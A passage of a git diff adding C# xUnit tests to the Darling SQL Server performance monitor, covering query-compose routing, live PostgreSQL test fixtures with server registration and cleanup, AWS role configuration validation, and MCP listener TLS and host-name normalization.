+    [InlineData("wrong start hour", 0)]
+    [InlineData("wrong end hour", 1)]
+    [InlineData("wrong table", 2)]
+    [InlineData("avg", 3)]
+    [InlineData("ratio", 4)]
+    [InlineData("procedure_stats", 5)]
+    [InlineData("minute-grain time series", 6)]
+    public void Compile_HourlyRawEdges_ANonMatchingVerdict_IsByteIdenticalToNoVerdict(string label, int kind)
+    {
+        var json = kind switch
+        {
+            3 => "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"avg\",\"topN\":10,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}",
+            4 => "{\"source\":\"query_stats\",\"ratio\":\"query_avg_cpu_us\",\"topN\":10,\"groupBy\":[\"database_name\"],\"viz\":\"table\"}",
+            5 => "{\"source\":\"procedure_stats\",\"measure\":\"proc_worker_us\",\"aggregate\":\"sum\",\"topN\":10,\"groupBy\":[\"object_name\"],\"viz\":\"table\"}",
+            6 => "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"minute\",\"viz\":\"line\"}",
+            _ => EdgePanelJson,
+        };
+        var plan = ValidPlan(json);
+        var coverage = EdgeCoverage();
+        var start = EdgeNow.AddHours(-24);
+        var offered = ComposeSourceRouter.HourlyRawEdgesCandidate(ValidPlan(EdgePanelJson), EdgeNow, start, EdgeNow, RollupAvailability.All, coverage)!;
+        var given = kind switch
+        {
+            0 => new ComposeHourlyEdgesVerdict(offered.SourceTable, offered.HourStartUtc.AddHours(1), offered.HourEndUtc, null),
+            1 => new ComposeHourlyEdgesVerdict(offered.SourceTable, offered.HourStartUtc, offered.HourEndUtc.AddHours(-1), null),
+            2 => new ComposeHourlyEdgesVerdict("procedure_stats", offered.HourStartUtc, offered.HourEndUtc, null),
+            _ => new ComposeHourlyEdgesVerdict(plan.Measure.SourceTable, offered.HourStartUtc, offered.HourEndUtc, null),
+        };
+
+        var plain = new ComposeRunContext(null, start, EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, coverage);
+        var (expected, expectedError) = ComposeCompiler.Compile(plan, plain);
+        var (actual, actualError) = ComposeCompiler.Compile(plan, plain with { HourlyEdges = given });
+
+        Assert.True(expected is not null, label + ": " + expectedError);
+        Assert.Equal(expectedError, actualError);
+        Assert.Equal(expected!.Sql, actual!.Sql);
+        Assert.Equal(expected.Parameters.Count, actual.Parameters.Count);
+        Assert.DoesNotContain("UNION ALL", actual.Sql, StringComparison.Ordinal);
+    }
+
+    private static ComposeHourlyEdgesVerdict EdgeVerdict(IReadOnlyList<string>? servers)
+    {
+        var offered = ComposeSourceRouter.HourlyRawEdgesCandidate(ValidPlan(EdgePanelJson), EdgeNow, EdgeNow.AddHours(-24), EdgeNow, RollupAvailability.All, EdgeCoverage())!;
+        return new ComposeHourlyEdgesVerdict(offered.SourceTable, offered.HourStartUtc, offered.HourEndUtc, servers);
+    }
+
+    private static (string? Plain, string? Given) EdgeSqlPair(IReadOnlyList<string>? runServers, ComposeHourlyEdgesVerdict verdict)
+    {
+        var plan = ValidPlan(EdgePanelJson);
+        var plain = new ComposeRunContext(runServers, EdgeNow.AddHours(-24), EdgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, EdgeNow, EdgeCoverage());
+        var (expected, expectedError) = ComposeCompiler.Compile(plan, plain);
+        var (actual, actualError) = ComposeCompiler.Compile(plan, plain with { HourlyEdges = verdict });
+        Assert.True(expected is not null, expectedError);
+        Assert.True(actual is not null, actualError);
+        return (expected!.Sql, actual!.Sql);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AFleetVerdictOnAScopedRun_IsByteIdenticalToNoVerdict()
+    {
+        var (plain, given) = EdgeSqlPair(new[] { "A" }, EdgeVerdict(null));
+        Assert.Equal(plain, given);
+        Assert.DoesNotContain("UNION ALL", given, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AScopedVerdictOnAFleetRun_IsByteIdenticalToNoVerdict()
+    {
+        var (plain, given) = EdgeSqlPair(null, EdgeVerdict(new[] { "A" }));
+        Assert.Equal(plain, given);
+        Assert.DoesNotContain("UNION ALL", given, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AnEmptyVerdictScopeIsTheFleet_AndASubsetScopeIsNotTheRunsScope()
+    {
+        var (plainFleet, givenFleet) = EdgeSqlPair(null, EdgeVerdict(Array.Empty<string>()));
+        Assert.NotEqual(plainFleet, givenFleet);
+        Assert.Contains("UNION ALL", givenFleet, StringComparison.Ordinal);
+
+        var (plainScoped, givenScoped) = EdgeSqlPair(new[] { "A", "B" }, EdgeVerdict(new[] { "A" }));
+        Assert.Equal(plainScoped, givenScoped);
+        Assert.DoesNotContain("UNION ALL", givenScoped, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Compile_HourlyRawEdges_AMatchingScopedVerdictInAnotherOrder_TakesTheRoute()
+    {
+        var (plain, given) = EdgeSqlPair(new[] { "A", "B" }, EdgeVerdict(new[] { "B", "A" }));
+        Assert.NotEqual(plain, given);
+        Assert.Contains("UNION ALL", given, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RetentionNotice_HourlyRawEdges_SaysTheRawWording()
+    {
+        var now = EdgeNow;
+        var edgesRoute = new ComposeRoute(ComposeSourceTier.HourlyRawEdges, "query_stats_interval_hourly", null, null, now.AddHours(-23), now.AddHours(-1));
+
+        var edgesNotice = ComposeStoreAvailability.BuildRetentionNotice("query_stats", edgesRoute, now.AddDays(-10), now, RollupAvailability.All, RollupCoverage.Unknown);
+        var rawNotice = ComposeStoreAvailability.BuildRetentionNotice("query_stats", ComposeRoute.Raw, now.AddDays(-10), now, RollupAvailability.All, RollupCoverage.Unknown);
+
+        Assert.NotNull(edgesNotice);
+        Assert.Equal(rawNotice, edgesNotice);
+        Assert.Contains("4 days", edgesNotice, StringComparison.Ordinal);
+        Assert.DoesNotContain("daily", edgesNotice, StringComparison.OrdinalIgnoreCase);
+    }
 }
 
 /// <summary>
@@ -3485,11 +3880,19 @@ public async Task RunComposedPanel_RejectsBadAbsoluteWindows(string windowJson,
 [Collection("live-postgres")]
 public sealed class DarlingComposeLivePostgresTests
 {
+    private const int ServerId = -973405;
+    private const string ServerName = "compose-old-window-no-rows";
+
     /// <summary>
     /// The live #1665 repro, end-to-end through the ONE shared runner: a >3-day window against a plain
     /// PostgreSQL store (the darling-pg CI service container — no TimescaleDB, so no rollups exist). Before
     /// the availability gate this compiled <c>collect.query_stats_hourly</c> and failed 42P01 at run time;
-    /// now it routes raw, runs clean, and carries NO notice (raw is complete on this store shape).
+    /// now it routes raw, runs clean, and carries NO notice. The panel is scoped to a server that holds no rows:
+    /// a fleet-wide panel would start at the oldest row any other test left in this shared store, and a store
+    /// whose rows start after the window's start now says so. That server is REGISTERED (a sentinel registry
+    /// row, removed afterwards), because the data-start probe reads through <c>collect.servers</c>: a name the
+    /// registry does not hold asks the probe nothing, and the no-notice assertion would pass whatever the
+    /// store held (#4953).
     /// </summary>
     [Fact]
     public async Task RunComposedPanel_OldWindow_AgainstPlainPostgres_RunsCleanOnRaw()
@@ -3500,30 +3903,43 @@ public async Task RunComposedPanel_OldWindow_AgainstPlainPostgres_RunsCleanOnRaw
 
         var ct = TestContext.Current.CancellationToken;
 
-        await using (var connection = new NpgsqlConnection(connectionString))
+        var bodySucceeded = false;
+        try
         {
-            await connection.OpenAsync(ct);
-            await PgMigrations.MigrateAsync(connection, ct);
-        }
+            await using (var connection = new NpgsqlConnection(connectionString))
+            {
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            }
 
-        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
 
-        var body = new JsonObject
-        {
-            ["panel"] = JsonNode.Parse(
-                "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"day\",\"viz\":\"line\"}"),
-            ["hours"] = 240, /* 10 days — far past the 3-day raw route horizon */
-        };
-
-        var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, body, ct);
+            var body = new JsonObject
+            {
+                ["panel"] = JsonNode.Parse(
+                    "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"timeBucket\":\"day\",\"viz\":\"line\"}"),
+                ["hours"] = 240, /* 10 days — far past the 3-day raw route horizon */
+                ["server"] = ServerName,
+            };
+
+            var outcome = await DarlingWebEndpoints.RunComposedPanelAsync(postgres, body, ct);
+
+            Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+            Assert.NotNull(outcome.Payload);
+            var sql = (string)outcome.Payload!["sql"]!;
+            Assert.Contains("collect.query_stats", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("_hourly", sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("_daily", sql, StringComparison.Ordinal);
+            Assert.Null(outcome.Payload["notice"]);
 
-        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
-        Assert.NotNull(outcome.Payload);
-        var sql = (string)outcome.Payload!["sql"]!;
-        Assert.Contains("collect.query_stats", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("_hourly", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("_daily", sql, StringComparison.Ordinal);
-        Assert.Null(outcome.Payload["notice"]);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanup, cleanupCt, "DELETE FROM servers WHERE server_id = $1", ServerId));
+        }
     }
 }
 
@@ -3551,8 +3967,10 @@ public async Task ComposedQueryStorePanel_RunsOnPostgres_AndCountsEachIntervalOn
         await connection.OpenAsync(TestContext.Current.CancellationToken);
         await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
         await DeleteAsync(connection, TestContext.Current.CancellationToken);
+        /* #5525: a composed scope resolves its names through the registry, so the fixture server must be registered. */
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, TestContext.Current.CancellationToken);
 
-        var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Utc);
+        var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
         var bucket = end.AddHours(-2);
         var firstExecA = bucket.AddMinutes(1);
         var firstExecB = bucket.AddMinutes(2);
@@ -3625,8 +4043,10 @@ public async Task ComposedQueryStoreTotalCpuPanel_RunsOnPostgres_AndSumsTheProdu
         await connection.OpenAsync(TestContext.Current.CancellationToken);
         await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
         await DeleteAsync(connection, TestContext.Current.CancellationToken);
+        /* #5525: a composed scope resolves its names through the registry, so the fixture server must be registered. */
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, TestContext.Current.CancellationToken);
 
-        var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Utc);
+        var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
         var bucket = end.AddHours(-2);
         var firstExecA = bucket.AddMinutes(1);
         var firstExecB = bucket.AddMinutes(2);
@@ -3688,6 +4108,12 @@ private static async Task DeleteAsync(NpgsqlConnection connection, CancellationT
         using var command = new NpgsqlCommand("DELETE FROM collect.query_store_stats WHERE server_id = $1", connection);
         command.Parameters.AddWithValue(ServerId);
         await command.ExecuteNonQueryAsync(ct);
+
+        await using (var deleteServer = new NpgsqlCommand("DELETE FROM collect.servers WHERE server_id = $1", connection))
+        {
+            deleteServer.Parameters.AddWithValue(ServerId);
+            await deleteServer.ExecuteNonQueryAsync(ct);
+        }
     }
 
     private static async Task InsertAsync(
@@ -3744,6 +4170,8 @@ public async Task RankedTimeSeriesPanel_RunsOnPostgres_TopNByWindowTotal_AndResi
         await connection.OpenAsync(ct);
         await PgMigrations.MigrateAsync(connection, ct);
         await DeleteAsync(connection, ct);
+        /* #5525: a composed scope resolves its names through the registry, so the fixture server must be registered. */
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
 
         /* Two hourly buckets ending on the last whole hour. Window totals: PAGELATCH_BIG 1000,
            SOS_MEDIUM 500, AAA_LOUD_EARLY 300, ZZZ_LATE 200 — so topN=2 keeps PAGELATCH_BIG + SOS_MEDIUM.
@@ -3871,6 +4299,12 @@ private static async Task DeleteAsync(NpgsqlConnection connection, CancellationT
         using var command = new NpgsqlCommand("DELETE FROM collect.wait_stats WHERE server_id = $1", connection);
         command.Parameters.AddWithValue(ServerId);
         await command.ExecuteNonQueryAsync(ct);
+
+        await using (var deleteServer = new NpgsqlCommand("DELETE FROM collect.servers WHERE server_id = $1", connection))
+        {
+            deleteServer.Parameters.AddWithValue(ServerId);
+            await deleteServer.ExecuteNonQueryAsync(ct);
+        }
     }
 }
 
@@ -3901,8 +4335,10 @@ public async Task ComposedObjectNamePanels_LabelFilterAndSplitTheAdHocPopulation
         await connection.OpenAsync(ct);
         await PgMigrations.MigrateAsync(connection, ct);
         await DeleteAsync(connection, ct);
+        /* #5525: a composed scope resolves its names through the registry, so the fixture server must be registered. */
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
 
-        var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond), DateTimeKind.Utc);
+        var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond, DateTimeKind.Utc);
         var collectionTime = end.AddHours(-1);
 
         var bodySucceeded = false;
@@ -4035,5 +4471,11 @@ private static async Task DeleteAsync(NpgsqlConnection connection, CancellationT
             deleteProcs.Parameters.AddWithValue(ServerId);
             await deleteProcs.ExecuteNonQueryAsync(ct);
         }
+
+        await using (var deleteServer = new NpgsqlCommand("DELETE FROM collect.servers WHERE server_id = $1", connection))
+        {
+            deleteServer.Parameters.AddWithValue(ServerId);
+            await deleteServer.ExecuteNonQueryAsync(ct);
+        }
     }
 }
diff --git a/Darling/Darling.Tests/DarlingConfigAwsTests.cs b/Darling/Darling.Tests/DarlingConfigAwsTests.cs
new file mode 100644
index 0000000000..c3ff8508a6
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingConfigAwsTests.cs
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Targets;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The per-server AWS role in darling.json (#5452): the two fields, the shared key, and the checks
+/// <see cref="DarlingConfig.Validate"/> runs on them.
+/// </summary>
+public sealed class DarlingConfigAwsTests
+{
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+
+    private static MonitoredServer PgServer(string? role, string? externalId) => new()
+    {
+        Name = "aurora-writer",
+        Engine = "postgres",
+        Host = "aurora.cluster-example.us-east-1.rds.amazonaws.com",
+        Auth = "sql",
+        Username = "monitor",
+        Password = "env:PGPASSWORD",
+        AwsRoleArn = role,
+        AwsExternalId = externalId,
+    };
+
+    private static DarlingConfig ConfigWith(MonitoredServer server)
+    {
+        var config = new DarlingConfig();
+        config.Postgres.ConnectionString = "Host=localhost;Database=darling;Username=x;Password=y";
+        config.Servers.Add(server);
+        return config;
+    }
+
+    [Fact]
+    public void TheFieldsReadFromDarlingJson_UnderTheirCamelCaseNames()
+    {
+        var json = """
+            { "servers": [ { "name": "aurora-writer", "host": "h.example", "engine": "postgres",
+                             "awsRoleArn": "arn:aws:iam::123456789012:role/darling-monitor", "awsExternalId": "tenant-1" } ] }
+            """;
+
+        var config = JsonSerializer.Deserialize<DarlingConfig>(json)!;
+        var server = config.Servers.Single();
+
+        Assert.Equal(Role, server.AwsRoleArn);
+        Assert.Equal("tenant-1", server.AwsExternalId);
+    }
+
+    [Fact]
+    public void AServerWithNoRole_HasNoKey_AndEveryExistingFileIsUnchanged()
+    {
+        Assert.Null(new MonitoredServer().AwsRoleArn);
+        Assert.Null(new MonitoredServer().AwsExternalId);
+        Assert.Null(new MonitoredServer().AwsRoleKey);
+        Assert.Null(PgServer("   ", "tenant-1").AwsRoleKey);
+    }
+
+    [Fact]
+    public void TheKeyIsTheTrimmedRoleAndExternalId_WithBlankAsNull()
+    {
+        Assert.Equal(new AwsRoleKey(Role, "tenant-1"), PgServer($"  {Role} ", " tenant-1 ").AwsRoleKey);
+        Assert.Equal(new AwsRoleKey(Role, null), PgServer(Role, "  ").AwsRoleKey);
+        Assert.Equal(new AwsRoleKey(Role, null), PgServer(Role, null).AwsRoleKey);
+
+        /* Ordinal: an ARN and an external ID are case-sensitive, so a differently cased one is another key. */
+        Assert.NotEqual(PgServer(Role, "Tenant-1").AwsRoleKey, PgServer(Role, "tenant-1").AwsRoleKey);
+        Assert.NotEqual(PgServer(Role, null).AwsRoleKey, PgServer(Role.ToUpperInvariant(), null).AwsRoleKey);
+    }
+
+    [Fact]
+    public void TheKeyIsNotSerialized()
+    {
+        var json = JsonSerializer.Serialize(PgServer(Role, "tenant-1"));
+
+        Assert.Contains("awsRoleArn", json, StringComparison.Ordinal);
+        Assert.DoesNotContain("AwsRoleKey", json, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Validate_AcceptsARoleWithAndWithoutAnExternalId_OnAPostgresTarget()
+    {
+        Assert.Empty(ConfigWith(PgServer(Role, null)).Validate());
+        Assert.Empty(ConfigWith(PgServer(Role, "tenant-1")).Validate());
+        Assert.Empty(ConfigWith(PgServer("  " + Role + "  ", "  tenant-1  ")).Validate());
+        Assert.Empty(ConfigWith(PgServer(null, null)).Validate());
+        Assert.Empty(ConfigWith(PgServer("", "")).Validate());
+    }
+
+    [Fact]
+    public void Validate_RefusesAMalformedRole_WithTheServerLabelAndTheSharedSentence()
+    {
+        var problems = ConfigWith(PgServer("not-an-arn", null)).Validate();
+
+        Assert.Equal($"server 'aurora-writer': {AwsRoleSettings.InvalidRoleMessage}", Assert.Single(problems));
+    }
+
+    [Fact]
+    public void Validate_RefusesAMalformedExternalId()
+    {
+        var problems = ConfigWith(PgServer(Role, "has space")).Validate();
+
+        Assert.Equal($"server 'aurora-writer': {AwsRoleSettings.InvalidExternalIdMessage}", Assert.Single(problems));
+    }
+
+    [Fact]
+    public void Validate_RefusesAnExternalIdWithNoRole()
+    {
+        var problems = ConfigWith(PgServer(null, "tenant-1")).Validate();
+
+        Assert.Equal($"server 'aurora-writer': {AwsRoleSettings.ExternalIdNeedsRoleMessage}", Assert.Single(problems));
+    }
+
+    [Theory]
+    [InlineData("sqlserver")]
+    [InlineData("")]
+    public void Validate_RefusesARoleOnATargetThatIsNotPostgres(string engine)
+    {
+        var server = PgServer(Role, null);
+        server.Engine = engine;
+        server.Auth = "integrated";
+
+        var problems = ConfigWith(server).Validate();
+
+        Assert.Contains($"server 'aurora-writer': {AwsRoleSettings.RoleNeedsPostgresMessage}", problems);
+    }
+
+    [Fact]
+    public void Validate_NeverEchoesTheExternalId()
+    {
+        var problems = ConfigWith(PgServer("not-an-arn", "tenant-secret-9")).Validate();
+
+        Assert.All(problems, p => Assert.DoesNotContain("tenant-secret-9", p, StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingConfigTests.cs b/Darling/Darling.Tests/DarlingConfigTests.cs
index 97b99f1e7f..70cd207484 100644
--- a/Darling/Darling.Tests/DarlingConfigTests.cs
+++ b/Darling/Darling.Tests/DarlingConfigTests.cs
@@ -10,6 +10,7 @@
 using System.IO;
 using System.Linq;
 using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Notifications;
 using Xunit;
@@ -337,6 +338,300 @@ public void Network_ParsesPostgresRoleAndMcpToken()
         Assert.True(config.Mcp.Network.IsConfigured);
     }
 
+    /// <summary>
+    /// #5288, "no new setting = unchanged", the allowFrom half: a darling.json that spells allowFrom as ONE plain
+    /// string, exactly as every existing config does, loads that string untouched on both listeners (the
+    /// converter reshapes an ARRAY only), parses to the one-entry list <c>IPNetwork</c> gave, and resolves the
+    /// same bind. The tls and hostName halves (#5288): neither key is in the file, so both read null, the MCP
+    /// listener's TLS shape is "not configured" (plain HTTP, as today), and the host-name normalizer has nothing
+    /// to say about an absent name.
+    /// </summary>
+    [Fact]
+    public void NoNewSettings_McpTlsAndHostNameNull_AllowFromStringAsToday()
+    {
+        var config = DarlingConfig.Parse(@"{
+            ""postgres"": { ""managed"": true },
+            ""mcp"": { ""enabled"": true, ""network"": { ""listen"": ""192.168.1.205"", ""allowFrom"": ""192.168.1.0/24"", ""token"": ""dev-token"" } },
+            ""web"": { ""enabled"": true, ""network"": { ""listen"": ""192.168.1.205"", ""allowFrom"": ""192.168.1.0/24"", ""token"": ""dev-token"" } },
+            ""servers"": [ { ""host"": ""SQL2022"" } ]
+        }");
+
+        Assert.Equal("192.168.1.0/24", config.Mcp.Network!.AllowFrom);
+        Assert.Equal("192.168.1.0/24", config.Web.Network!.AllowFrom);
+
+        var asList = PerformanceMonitor.Darling.Service.Hosting.CidrAllowList.Parse(config.Mcp.Network.AllowFrom!);
+        Assert.Equal(System.Net.IPNetwork.Parse("192.168.1.0/24").ToString(), asList.ToString());
+        Assert.Equal(1, asList.Count);
+
+        var mcpBind = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpHostService.ResolveMcpBind(config.Mcp, managed: true, inContainer: false);
+        Assert.Equal(PerformanceMonitor.Darling.Service.Mcp.DarlingMcpHostService.McpBindMode.NetworkAndLoopback, mcpBind.Mode);
+        Assert.Equal(PerformanceMonitor.Darling.Service.Mcp.DarlingMcpHostService.McpBindReason.NetworkExposed, mcpBind.Reason);
+
+        var webBind = PerformanceMonitor.Darling.Service.Mcp.DarlingWebHostService.ResolveWebBind(config.Web, managed: true, inContainer: false);
+        Assert.Equal(PerformanceMonitor.Darling.Service.Hosting.DarlingHostBinding.BindMode.NetworkAndLoopback, webBind.Mode);
+        Assert.Equal(PerformanceMonitor.Darling.Service.Hosting.DarlingHostBinding.BindReason.NetworkExposed, webBind.Reason);
+
+        /* The tls and hostName halves (#5288). */
+        Assert.Null(config.Mcp.Network.Tls);
+        Assert.Null(config.Mcp.Network.HostName);
+        Assert.Null(config.Web.Network.Tls);
+        Assert.Null(McpNetworkConfig.NormalizeHostName(config.Mcp.Network.HostName));
+        Assert.Equal(
+            PerformanceMonitor.Darling.Service.Hosting.DarlingWebTls.TlsShape.NotConfigured,
+            PerformanceMonitor.Darling.Service.Hosting.DarlingWebTls.Describe(config.Mcp.Network.Tls, "mcp").Shape);
+        Assert.True(config.Mcp.Network.IsConfigured);
+    }
+
+    [Fact]
+    public void Network_ParsesMcpTlsAndHostName()
+    {
+        /* #5288: the two keys bind by the names the README and the sample document, and the tls block is the same
+           type the web uses, so its slots resolve the same way and Describe reads it under the MCP section. */
+        var config = DarlingConfig.Parse(@"{
+            ""postgres"": { ""managed"": true },
+            ""mcp"": {
+                ""enabled"": true,
+                ""network"": {
+                    ""listen"": ""192.168.1.205"", ""allowFrom"": ""192.168.1.0/24"", ""token"": ""dev-token"",
+                    ""hostName"": ""mcp.corp.example"",
+                    ""tls"": { ""certPath"": ""/certs/mcp.crt"", ""keyPath"": ""/certs/mcp.key"" }
+                }
+            },
+            ""servers"": [ { ""host"": ""SQL2022"" } ]
+        }");
+
+        var network = config.Mcp.Network!;
+        Assert.Equal("mcp.corp.example", network.HostName);
+        Assert.Equal("mcp.corp.example", McpNetworkConfig.NormalizeHostName(network.HostName));
+        Assert.NotNull(network.Tls);
+        Assert.Equal("/certs/mcp.crt", network.Tls!.CertPath);
+        Assert.Equal("/certs/mcp.key", network.Tls.KeyPath);
+        Assert.Equal(
+            PerformanceMonitor.Darling.Service.Hosting.DarlingWebTls.TlsShape.Pem,
+            PerformanceMonitor.Darling.Service.Hosting.DarlingWebTls.Describe(network.Tls, "mcp").Shape);
+        Assert.True(network.IsConfigured);
+    }
+
+    [Fact]
+    public void McpNetworkConfig_IsConfigured_SeesTlsAndHostName_IgnoresBlankOnes()
+    {
+        /* IsConfigured drives the BYO "network.* is ignored" notice, so a block carrying only a certificate or only
+           a host name must trip it, and a block of blank values must not: the two rules WebNetworkConfig has. */
+        Assert.False(new McpNetworkConfig().IsConfigured);
+        Assert.False(new McpNetworkConfig { Tls = new WebTlsConfig(), HostName = "   " }.IsConfigured);
+        Assert.True(new McpNetworkConfig { Tls = new WebTlsConfig { PfxPath = "/certs/mcp.pfx" } }.IsConfigured);
+        Assert.True(new McpNetworkConfig { HostName = "mcp.corp.example" }.IsConfigured);
+    }
+
+    [Theory]
+    [InlineData("mcp.corp.example", "mcp.corp.example")]
+    [InlineData("alpha-01.corp.example", "alpha-01.corp.example")]
+    [InlineData("localhost", "localhost")]
+    [InlineData("darling", "darling")]
+    public void NormalizeHostName_AcceptsABareDnsName(string raw, string expected)
+        /* One label is a DNS name too: a LAN box is routinely reached by its short name. */
+        => Assert.Equal(expected, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("  mcp.corp.example  ", "mcp.corp.example")]
+    [InlineData("\tmcp.corp.example\r\n", "mcp.corp.example")]
+    [InlineData("mcp.corp.example.", "mcp.corp.example")]
+    [InlineData("  mcp.corp.example. ", "mcp.corp.example")]
+    public void NormalizeHostName_TrimsWhitespace_AndStripsOneTrailingDot(string raw, string expected)
+        => Assert.Equal(expected, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("MCP.Corp.Example")]
+    [InlineData("Darling-Box")]
+    public void NormalizeHostName_KeepsCaseAsWritten(string raw)
+        /* The Host-header guard compares ignoring case, so folding here would only change what the log shows. The one
+           exception is a name with an xn-- label (NormalizeHostName_FoldsAnUpperCasePunycodeName_ToLowerCase). */
+        => Assert.Equal(raw, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("   ")]
+    [InlineData("\t\r\n")]
+    public void NormalizeHostName_BlankIsNotSet_NullWithNothingToWarnAbout(string? raw)
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("10.1.2.3")]
+    [InlineData("192.168.1.205")]
+    [InlineData("::1")]
+    [InlineData("[::1]")]
+    [InlineData("fe80::1")]
+    public void NormalizeHostName_RefusesAnIpAddress(string raw)
+        /* The guard already admits the listen IP by itself, and a name that is really an address would be a second,
+           unwritten way in. */
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("mcp.corp.example:5152")]
+    [InlineData("https://mcp.corp.example")]
+    [InlineData("http://mcp.corp.example:5152/")]
+    [InlineData("mcp.corp.example/mcp")]
+    [InlineData("user@mcp.corp.example")]
+    [InlineData("*.corp.example")]
+    [InlineData("*")]
+    [InlineData("mcp corp.example")]
+    public void NormalizeHostName_RefusesAPortASchemeAPathAWildcardOrWhitespaceInside(string raw)
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("mcp.corp.example..")]
+    [InlineData(".")]
+    [InlineData("..")]
+    [InlineData(".mcp.corp.example")]
+    [InlineData("mcp..corp.example")]
+    public void NormalizeHostName_RefusesEmptyLabels_AndMoreThanOneTrailingDot(string raw)
+        /* One trailing dot is a fully qualified name; two is a typo, and a result still ending in a dot would
+           never match what a client sends as its Host. */
+        => Assert.Null(McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("b\u00FCcher.example", "xn--bcher-kva.example")]
+    [InlineData("mcp.b\u00FCcher.example", "mcp.xn--bcher-kva.example")]
+    [InlineData("\u043F\u0440\u0438\u043C\u0435\u0440.example", "xn--e1afmkfd.example")]
+    [InlineData("\u65E5\u672C\u8A9E.example", "xn--wgv71a119e.example")]
+    [InlineData("  b\u00FCcher.example. ", "xn--bcher-kva.example")]
+    [InlineData("b\u00FCcher\u3002example", "xn--bcher-kva.example")]
+    [InlineData("B\u00DCCHER.Example", "xn--bcher-kva.example")]
+    public void NormalizeHostName_MapsAUnicodeNameToItsPunycodeForm(string raw, string expected)
+        /* #5288: a client sends the ASCII (xn--) form in its Host header, so that is the form the guard has to hold.
+           The trim and the one trailing dot still come first; an ideographic full stop between labels is a dot; and
+           IDNA folds case, which changes nothing the guard (it compares ignoring case) can see. */
+        => Assert.Equal(expected, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("xn--bcher-kva.example")]
+    [InlineData("MCP.Corp.Example")]
+    public void NormalizeHostName_AnAsciiName_IsNeverMapped_SoItKeepsItsSpelling(string raw)
+        /* The mapping runs only for a name with a non-ASCII character. An ASCII name that is already punycode must
+           not be decoded and encoded again: it comes back as written (a name with an upper-case xn-- label is only
+           folded to lower case, see NormalizeHostName_FoldsAnUpperCasePunycodeName_ToLowerCase). */
+        => Assert.Equal(raw, McpNetworkConfig.NormalizeHostName(raw));
+
+    [Theory]
+    [InlineData("b\u00FCcher..example")]       // an empty label
